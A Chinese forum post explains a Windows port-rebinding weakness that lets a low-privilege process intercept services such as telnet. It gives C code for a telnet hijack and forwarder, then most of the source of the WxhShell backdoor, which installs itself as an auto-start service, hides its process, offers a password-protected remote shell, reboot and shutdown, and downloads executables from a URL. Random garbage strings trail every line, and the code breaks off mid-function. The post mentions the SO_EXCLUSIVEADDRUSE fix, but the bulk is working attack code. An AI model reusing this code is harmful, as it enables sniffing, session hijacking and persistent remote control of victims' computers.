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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E*QLw* H  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !'a <Dw5  
V/yj.aA*@  
  saddr.sin_family = AF_INET; Sea6xGdq  
Nu+DVIM  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z]!w@:  
i~rb-~o  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Am#Pa,g  
dHtEyF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +_ny{i`'  
. $ HE  
  这意味着什么?意味着可以进行如下的攻击: wM! dz&  
NBA`@K~4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MaZS|Zei[  
FDuIm,NI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "lL/OmG  
rW`l1yi*$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Xi!e=5&Pa  
~Sx\>wBlc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6ck%M#v  
6u{%jSA>D\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]6,D 9^{;  
HP:[aR!2P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~gg&G~ ET  
gq~"Z[T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =0SJf 3  
j2mMm/kq\  
  #include Qki? >j"  
  #include I 1Yr{(ho  
  #include 877Kv);  
  #include    N\Ab0mDOV.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z</^qy  
  int main() KIY9?B=+  
  { qpq(<  
  WORD wVersionRequested; t"YN:y8-  
  DWORD ret; #{J+BWP\o  
  WSADATA wsaData; C2 yJ Xi`$  
  BOOL val; ^,` L!3  
  SOCKADDR_IN saddr; 'a"Uw"/p[  
  SOCKADDR_IN scaddr; uYijzHQyD  
  int err; 3!i{4/  
  SOCKET s; 3=%G{L16-  
  SOCKET sc; '30JJ0  
  int caddsize; w^}* <q\  
  HANDLE mt; 2%) ~E50U  
  DWORD tid;   @)@tIhw  
  wVersionRequested = MAKEWORD( 2, 2 ); ){KrBaGa4  
  err = WSAStartup( wVersionRequested, &wsaData ); tMyMA}`  
  if ( err != 0 ) { }$s QmR R  
  printf("error!WSAStartup failed!\n"); t;_1/ mt  
  return -1; 1D%E})B6  
  } 8tzL.P^  
  saddr.sin_family = AF_INET; a>k9& w  
   yGH')TsjD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +P.JiH`\=  
l`a_0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "e/"$z'ca  
  saddr.sin_port = htons(23); =`l><  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) " +hUt  
  { fyxc4-D  
  printf("error!socket failed!\n"); ^1Bk*?Yx\x  
  return -1; y(=0  
  } |7!Bk$(vA  
  val = TRUE; $)'LbOe  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qos/pm$&i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~w(A3I.  
  { W >|'4y)  
  printf("error!setsockopt failed!\n"); !$<Kp6  
  return -1; >L$9fn/J  
  } *p|->p6,u  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S KGnx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !e('T@^u6u  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,I:[-|Q  
Wj, {lJ,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1[\I9dv2  
  { 61*b|.sl'#  
  ret=GetLastError(); rY)m"'puP  
  printf("error!bind failed!\n"); *Zn,v-d  
  return -1; IG~Zxn1o  
  } %cASk>^i  
  listen(s,2); Bo ??1y  
  while(1) a~zh5==QD  
  { D3y4e8+Z'  
  caddsize = sizeof(scaddr); MI~Q Xy,  
  //接受连接请求 eQIS`T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); b(> G  
  if(sc!=INVALID_SOCKET) 'Z nJd j  
  { etk|%%J  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oUB9)C~  
  if(mt==NULL) mFE7#OM  
  { >"Zn# FY  
  printf("Thread Creat Failed!\n"); {_ZbPPh;M"  
  break; nFwdW@E9  
  } =.,XJIw&  
  } :)Da^V  
  CloseHandle(mt); @Y#TWt#  
  } =q[ynZ8O\w  
  closesocket(s); 1"T&B0G3l  
  WSACleanup(); E cd~H+  
  return 0; rK4 pYo  
  }   ?S.LGc  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~xc0Ky?8  
  { ~!_UDD  
  SOCKET ss = (SOCKET)lpParam; -#g0  
  SOCKET sc; DXK\3vf Ot  
  unsigned char buf[4096]; @FN1o4&3  
  SOCKADDR_IN saddr; RI BB*  
  long num; |xpOU*k  
  DWORD val; \*c=bz&l  
  DWORD ret; Sf t,$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jjg&C9w T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   KC54=Rf  
  saddr.sin_family = AF_INET; zhU^~4F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g5 y*-t  
  saddr.sin_port = htons(23); ^;@!\Rc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vQ[ Tc V  
  { E%$[*jZ  
  printf("error!socket failed!\n"); ictOC F  
  return -1; _;-b ZH  
  } (dym*_J  
  val = 100; ^L'<%_# .  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u#0EZ2 >#  
  { j0S[JpoF  
  ret = GetLastError(); ZOL#Q+U  
  return -1; \G6V-W  
  } +Xmza8T9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >9[wjB2?}  
  { b+$-f:mj  
  ret = GetLastError(); Ljk0K3Q6>  
  return -1; T=fVD8  
  } Vtk}>I@%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bW zUWLa  
  { ^k!u  
  printf("error!socket connect failed!\n"); Hlj3z3  
  closesocket(sc); M2nZ,I=l  
  closesocket(ss); 'A/ f>W  
  return -1; x^ sTGd  
  } lsVg'k/Z!  
  while(1) ~%sNPKjA  
  { ] .c$(.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qwo{34  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^0 /!:*?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kqLpt  
  num = recv(ss,buf,4096,0); fjS#  
  if(num>0) _61tE  
  send(sc,buf,num,0); ;(LC{jY  
  else if(num==0) QW&@>i  
  break; {;hR FQ^b  
  num = recv(sc,buf,4096,0); NaeG)u#+  
  if(num>0) >n>gX/S<C  
  send(ss,buf,num,0); 6!RK Zj)  
  else if(num==0) 8 HdjZ!  
  break; ,m)YL>k  
  } ~uJO6C6A  
  closesocket(ss); i\\,Z L  
  closesocket(sc); T2 V(P>E  
  return 0 ; /fxv^C82yv  
  } -yY]0  
?gS~9jgcd  
u~27\oj,  
========================================================== ~<=wTns!  
8uB6C0,6?  
下边附上一个代码,,WXhSHELL *w1R>  
M532>+A]Za  
========================================================== z4(Q.0x7  
\p!mX|  
#include "stdafx.h" BR0P :h  
lAx8m't}6  
#include <stdio.h> TzsNhrU{  
#include <string.h> @34CaZ$k  
#include <windows.h> &P>a  
#include <winsock2.h> R?l={N=Wf  
#include <winsvc.h> YuzgR;Z  
#include <urlmon.h> L%4Do*V&  
Mj:=$}rs^  
#pragma comment (lib, "Ws2_32.lib") {c=H#- A  
#pragma comment (lib, "urlmon.lib") &fwb?Vn4  
u]t#Vf-$u  
#define MAX_USER   100 // 最大客户端连接数 o&rNM5:  
#define BUF_SOCK   200 // sock buffer |z.Ov&d4)(  
#define KEY_BUFF   255 // 输入 buffer zA&]#mc  
C?PgC~y)  
#define REBOOT     0   // 重启 E XQ 3(:&  
#define SHUTDOWN   1   // 关机 $-_@MT~  
Ga $EM  
#define DEF_PORT   5000 // 监听端口 @ {8x L  
vce1'aW  
#define REG_LEN     16   // 注册表键长度 3HB(rTw  
#define SVC_LEN     80   // NT服务名长度 Ndqhc  
W$u/tRF  
// 从dll定义API M!] g36h[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ziD+% -  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k0-,qM#p;X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <>[]- Vq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (1;%V>,L  
4CioVQdj  
// wxhshell配置信息 )Jd{WC.  
struct WSCFG { m#t  
  int ws_port;         // 监听端口 (J\Qo9Il  
  char ws_passstr[REG_LEN]; // 口令 3AarRQWsn  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1EA}[x  
  char ws_regname[REG_LEN]; // 注册表键名 m-}6DN  
  char ws_svcname[REG_LEN]; // 服务名 ZbLN:g}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _iW-i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O.wk*m!9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -'::$ {  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )Xd2qbi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {#uf#J|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5\P3JoH:Yg  
~er4w+"  
}; d i#:KW  
NFlrr*=t>  
// default Wxhshell configuration %z AN@  
struct WSCFG wscfg={DEF_PORT, .5?Md  
    "xuhuanlingzhe", >tVD[wVF0  
    1, -nC!kpo  
    "Wxhshell", -$5nqaK?  
    "Wxhshell", /? HLEX  
            "WxhShell Service", GbbD)  
    "Wrsky Windows CmdShell Service", e=EM07z  
    "Please Input Your Password: ", *6 1G<I  
  1, agxR V  
  "http://www.wrsky.com/wxhshell.exe", **lT ' D  
  "Wxhshell.exe" he1W22  
    }; EXTQ:HSES  
O=w u0n  
// 消息定义模块 wMru9zyI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nV+]jQ~o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _.$g?E/(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @;H1s4OZ  
char *msg_ws_ext="\n\rExit."; P :D6w){  
char *msg_ws_end="\n\rQuit."; 5nJmabw3  
char *msg_ws_boot="\n\rReboot..."; XKT2u!Lx  
char *msg_ws_poff="\n\rShutdown..."; L# NW<T  
char *msg_ws_down="\n\rSave to "; X |X~|&j  
vd!|k5t[d  
char *msg_ws_err="\n\rErr!"; $Xr9<)?,  
char *msg_ws_ok="\n\rOK!"; ]{'lV~fc  
E7UYJ)6]  
char ExeFile[MAX_PATH]; Qg4g(0E@  
int nUser = 0; @+ U++  
HANDLE handles[MAX_USER]; yW)X asn  
int OsIsNt; h"5!puN+  
b py576GwA  
SERVICE_STATUS       serviceStatus; )nJh) {4\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M4(`o^n  
[ZkK)78}k  
// 函数声明 [X|KXlNfm  
int Install(void); !^<%RT9@|  
int Uninstall(void); } X[wWH  
int DownloadFile(char *sURL, SOCKET wsh); h$eVhN &Vv  
int Boot(int flag); oN6 '%   
void HideProc(void); CNF3".a  
int GetOsVer(void); #9) D.d|5  
int Wxhshell(SOCKET wsl); $f]dL};  
void TalkWithClient(void *cs); orzy &4  
int CmdShell(SOCKET sock); X:Z*7P/  
int StartFromService(void); ykbTWp$Y4Z  
int StartWxhshell(LPSTR lpCmdLine); nI6[y)j  
-v7O*xm"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qC aM]Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F/I`EV  
lGAKHCs  
// 数据结构和表定义 51lN,VVD  
SERVICE_TABLE_ENTRY DispatchTable[] = C7lBK<gQ  
{  zL,B?  
{wscfg.ws_svcname, NTServiceMain}, XKq}^M&gy  
{NULL, NULL} !Cv:,q  
}; R7xEE7p  
 M} {'kK  
// 自我安装 =`MU*Arcs[  
int Install(void) ,:1_I`d>#X  
{ g`BtG  
  char svExeFile[MAX_PATH]; pZv>{=2hOS  
  HKEY key; L&2 Zn{#`  
  strcpy(svExeFile,ExeFile); U F ]g6u  
 H*]B7?S  
// 如果是win9x系统,修改注册表设为自启动 pNzSy"Y$  
if(!OsIsNt) { xfyUT^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <(U :v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _;1H2o2f  
  RegCloseKey(key); ;.<0lnV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $J] b+Bp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Px<*n '~}  
  RegCloseKey(key); }dt7n65  
  return 0; 09psqXU@I  
    } 7u9!:}Tu  
  } j>70AE3[8  
} ^Q'^9M2)  
else { 6GZ zNhz  
UFox v)  
// 如果是NT以上系统,安装为系统服务 OYsG#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R} #6  
if (schSCManager!=0) '[nH] N  
{ U%~L){<V[  
  SC_HANDLE schService = CreateService e(NpX_8  
  ( lB0: 4cIj  
  schSCManager, Mk-Rl  
  wscfg.ws_svcname, i9FHEu_  
  wscfg.ws_svcdisp, Nd"4*l;  
  SERVICE_ALL_ACCESS, 8=%%C:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .Y"H{|]Mnh  
  SERVICE_AUTO_START, /5y*ZIq]e  
  SERVICE_ERROR_NORMAL, &Jr~ )o   
  svExeFile, b:,S  
  NULL, p+;[i%`  
  NULL, 3 oG5E"G  
  NULL, ;be2sTo  
  NULL, wlM"Zt  
  NULL QQ5G?E  
  ); -2dk8]KB]  
  if (schService!=0) JDyP..Dt  
  { R0n# FL^E  
  CloseServiceHandle(schService); )K4A-9pC  
  CloseServiceHandle(schSCManager); $ 'B0ZL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F .(zS(q  
  strcat(svExeFile,wscfg.ws_svcname); F|3 =Cl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @@,l0/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :CQ-?mT^LA  
  RegCloseKey(key); i9NUv3#  
  return 0; q@i,$R  
    } M mjeFv  
  } n6PXPc  
  CloseServiceHandle(schSCManager); K&t+3O  
} _7AR2  
} w!0`JPu  
}=':)?'-.  
return 1; E6{|zF/3'  
} +w ;2kw  
;'.[h*u~<  
// 自我卸载 &ggS!y'n  
int Uninstall(void) J!$q"0G'WT  
{ =kp-[7  
  HKEY key; W?5u O  
jXBAo  
if(!OsIsNt) { `wJR^O!e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BcMgfa/  
  RegDeleteValue(key,wscfg.ws_regname); Fxu'(xa  
  RegCloseKey(key); 1 rr\l`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nQ/R,+6h  
  RegDeleteValue(key,wscfg.ws_regname); O<&8 gk~  
  RegCloseKey(key); GZ.F q  
  return 0; LRqBP|bjCD  
  } 'WEypz  
} 0-ISOA&  
} vI<n~FHt  
else { wic& $p/%  
}1ABrbc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2]Nc@wX`p  
if (schSCManager!=0) "v @h  
{ ]V,wIy C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ""GeO%J8  
  if (schService!=0) wHSas[4k  
  { > .L\>  
  if(DeleteService(schService)!=0) { O@@=ZyYwc  
  CloseServiceHandle(schService); X>C l{.  
  CloseServiceHandle(schSCManager); "r6DZi(^K  
  return 0; CNCWxu  
  } _5F8F4QY`  
  CloseServiceHandle(schService); /8\gT(@  
  } *_ 2db   
  CloseServiceHandle(schSCManager); <r_L-  
} >[]@Df,p  
} y^vB_[6l  
vf=b5s(7Q  
return 1; n\f8%z  
} 5&WYL  
={[s)G  
// 从指定url下载文件 ZXP9{Hh  
int DownloadFile(char *sURL, SOCKET wsh) Sm6hyZFy  
{ J?d&+mt  
  HRESULT hr; 2f'3Vjp~G  
char seps[]= "/"; 0{0|M8  
char *token; *~~&*&+  
char *file; cNi)[2o7  
char myURL[MAX_PATH]; ys+ AY^/  
char myFILE[MAX_PATH]; gOkq>i_  
NwH`t#zd  
strcpy(myURL,sURL); ;9>(yJI+  
  token=strtok(myURL,seps); vs3px1Xe#  
  while(token!=NULL) 0/7y&-/(  
  { t2)S61Vr  
    file=token; s68&AB   
  token=strtok(NULL,seps); g3r4>SA  
  } %#!pAUP\&  
`Zn2Vx  
GetCurrentDirectory(MAX_PATH,myFILE); NdpcfZ q  
strcat(myFILE, "\\"); ZeVb< g  
strcat(myFILE, file); cVHv>nd#  
  send(wsh,myFILE,strlen(myFILE),0); ?]i.Zi\[f  
send(wsh,"...",3,0); H-&Z+4 +Xs  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g. V6:>,  
  if(hr==S_OK) ?T+Uu  
return 0; wYxnKm~f  
else ;J"b%~Gn  
return 1; 7_,)"J2^  
[nQ<pTg~r  
} k5]M~"  
yDwG,)m 4s  
// 系统电源模块 (E'f'g  
int Boot(int flag) FX+;azE7  
{ x.Sq2rw]V  
  HANDLE hToken; YQU #aOl  
  TOKEN_PRIVILEGES tkp; P<AN`un  
8mM^wT  
  if(OsIsNt) { `^t0379e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *], ]E;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _1D'9!+   
    tkp.PrivilegeCount = 1; giU6f!%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .Rq|F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9UD~$_<\  
if(flag==REBOOT) { %]/O0#E3Kz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aE0yO#=   
  return 0; >P7|-bV  
} iV8j(HV  
else { -5 -X[`cF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xngK_n  
  return 0; p 4k*vuu>  
} ]AlRu(  
  } 9Ra_[1  
  else { R:7j`gHJ|9  
if(flag==REBOOT) { $7q'Be@{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S^}@X?v  
  return 0; vAW+ ,Rfj  
} tlo"tl_]  
else { b"-eQb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |2,'QTm=  
  return 0; ht8%A 1|  
} $i@~$m7d-  
} ^cO^3=  
T7E9l  
return 1; t\2Lo7[Pu  
} oi4tj.!J  
m7z6c"?lB  
// win9x进程隐藏模块 rSU%!E+|<  
void HideProc(void) cE S3<`[K  
{ {9wBb`.n^  
y>zPsc,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =k]RzeI  
  if ( hKernel != NULL ) _aOisN{  
  { .@{W6 /I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j'lfH6_')e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y"= j[.  
    FreeLibrary(hKernel); 1=C>S2q  
  } ,}%+5yH  
$0rSb0[  
return; B6tp,Np5,  
} 3^kZydZ CN  
J[fjl 6p  
// 获取操作系统版本 kb>:M.  
int GetOsVer(void) 6AgevyVG  
{ h amn9  
  OSVERSIONINFO winfo; B9;dX6c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9kj71Jp&}  
  GetVersionEx(&winfo); z38&7+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o$I% 1  
  return 1; aML?$_6  
  else F$Q( 2:w  
  return 0; :| J' HCth  
} FVkb9(WW  
9j458Yd4*  
// 客户端句柄模块 0ts] iQ7  
int Wxhshell(SOCKET wsl) -Y'Qa/:7  
{ 6Zwrk-,A  
  SOCKET wsh; ^]}UyrOn  
  struct sockaddr_in client; g1-^@&q  
  DWORD myID; qn}w]yGW  
b`N0lH.V  
  while(nUser<MAX_USER) 4[t1"s~Wg  
{  ~0 <?^  
  int nSize=sizeof(client); } =Yvs)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _W]qV2j  
  if(wsh==INVALID_SOCKET) return 1; [4'C4Zl  
&6nOCU)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3# G;uWN-  
if(handles[nUser]==0) o*H j E  
  closesocket(wsh); gZ6]\l]J{  
else 3uO#/EbS  
  nUser++; 7!Z\B-_,  
  } VA*~R S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :eqDEmr>  
-miWXEe@l  
  return 0; ZaQg SE>Y  
} t_1a.Jv  
t?H.M  
// 关闭 socket 490gW?u  
void CloseIt(SOCKET wsh) 42mi 7%f  
{ z6e)|*cA$  
closesocket(wsh); ,@"Z!?e  
nUser--; jH26-b<  
ExitThread(0); e<s56<3j  
} c%-s_8zvi  
p?S:J`q  
// 客户端请求句柄 'vKB]/e;  
void TalkWithClient(void *cs) 0MDdcjqw  
{ `k~.>#  
c(jF^ 0~  
  SOCKET wsh=(SOCKET)cs; tX)l$oRPr  
  char pwd[SVC_LEN]; VP^Yph 8R  
  char cmd[KEY_BUFF]; 3In` !@EJ  
char chr[1]; Gxk=]5<7  
int i,j; T;D`=p#  
')_Gm{A#p  
  while (nUser < MAX_USER) { m[S6pqz  
b5u_x_us|  
if(wscfg.ws_passstr) { kGhWr M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ud xLHs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lk8g2H ,  
  //ZeroMemory(pwd,KEY_BUFF); -N`j` zb|  
      i=0; b Z c&uq_  
  while(i<SVC_LEN) { P7r?rbO"  
D )z'FOaI  
  // 设置超时 Hm2}xnY  
  fd_set FdRead; 3vTX2e.w  
  struct timeval TimeOut; LQ4GQ qS*  
  FD_ZERO(&FdRead); gzqx{ ]  
  FD_SET(wsh,&FdRead); r2?-QvQ  
  TimeOut.tv_sec=8; Y~]E6'Bz  
  TimeOut.tv_usec=0; N\b%+vR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #iD5& klo\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xi=Z<G  
s>`$]6wPa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `[\*1GpAo  
  pwd=chr[0]; rqk1 F~j|  
  if(chr[0]==0xd || chr[0]==0xa) { "'p;Udt/Qm  
  pwd=0; t{t*.{w  
  break; i-!Z/,oL  
  } ^S!^$d*  
  i++; q,-bw2   
    } =KJK'1m9  
T'.U?G  
  // 如果是非法用户,关闭 socket !fF1tW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PY7j uS[+  
} s hjb b  
Z#.J>_u )  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A2 r1%}{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TNBFb_F  
c;DWSgIw  
while(1) { +^$FA4<~  
5|YpkY  
  ZeroMemory(cmd,KEY_BUFF); ?2hoY  
%lPAq  
      // 自动支持客户端 telnet标准   OI;0dS  
  j=0; "3CQ0  
  while(j<KEY_BUFF) { }.O,P'k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vum6O 3  
  cmd[j]=chr[0]; qk~ni8  
  if(chr[0]==0xa || chr[0]==0xd) { Fy^*@&  
  cmd[j]=0; HFYN(nz}[  
  break; hnha1 f  
  } u'cM}y&  
  j++; nxH=Ut7{  
    } 2Jo'!|]  
Y6L_ _ RT  
  // 下载文件 6jjmrc[#}X  
  if(strstr(cmd,"http://")) { 4Z>KrFO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UD1R _bL}  
  if(DownloadFile(cmd,wsh)) )s^D}I(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UZsL0  
  else +O P8U]~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -'btKz*9  
  } d`9% :2qE  
  else { g[<K FVlG  
:'RmT3  
    switch(cmd[0]) { ^(7<L<H  
  ?EF[OyE  
  // 帮助 rn3GBWC_C  
  case '?': { \zioIfHm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SQ7Ws u>T@  
    break; p^PAbCP'|3  
  } iev02 8M  
  // 安装 \fG?j@Qx  
  case 'i': { xu9K\/{7  
    if(Install()) nxH+XHv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |uT|(:i84,  
    else h^ wu8E   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ';"W0  
    break; )U0`?kD  
    } M6J~%qF^  
  // 卸载 gZbC[L  
  case 'r': { ]6)^+(zU  
    if(Uninstall()) Y'tPD#|r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V<&x+?>S  
    else JL0>-kg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ( )K,~  
    break; D"kss5>w  
    } k=D_9_  
  // 显示 wxhshell 所在路径 tKtKW5n~  
  case 'p': { c^$_epc*  
    char svExeFile[MAX_PATH]; t5 :4'%|  
    strcpy(svExeFile,"\n\r"); 8Mx+tA  
      strcat(svExeFile,ExeFile); '%U'%')  
        send(wsh,svExeFile,strlen(svExeFile),0); hgt@Mb   
    break; @'UbTB!  
    } ~*aPeJ  
  // 重启 N.r8dC  
  case 'b': { B",5"'id  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _}8hE v  
    if(Boot(REBOOT)) OU2.d7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hp ?4w),  
    else { z4 GcS/3K  
    closesocket(wsh); FDfLPCQm  
    ExitThread(0); KtTlc#*KU  
    } xi5G?r  
    break; @E Srj[  
    } z?T;2/_7  
  // 关机 -G\svwv@)  
  case 'd': { SZVNu*G!H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X/< zxM  
    if(Boot(SHUTDOWN)) Vf28R,~m  
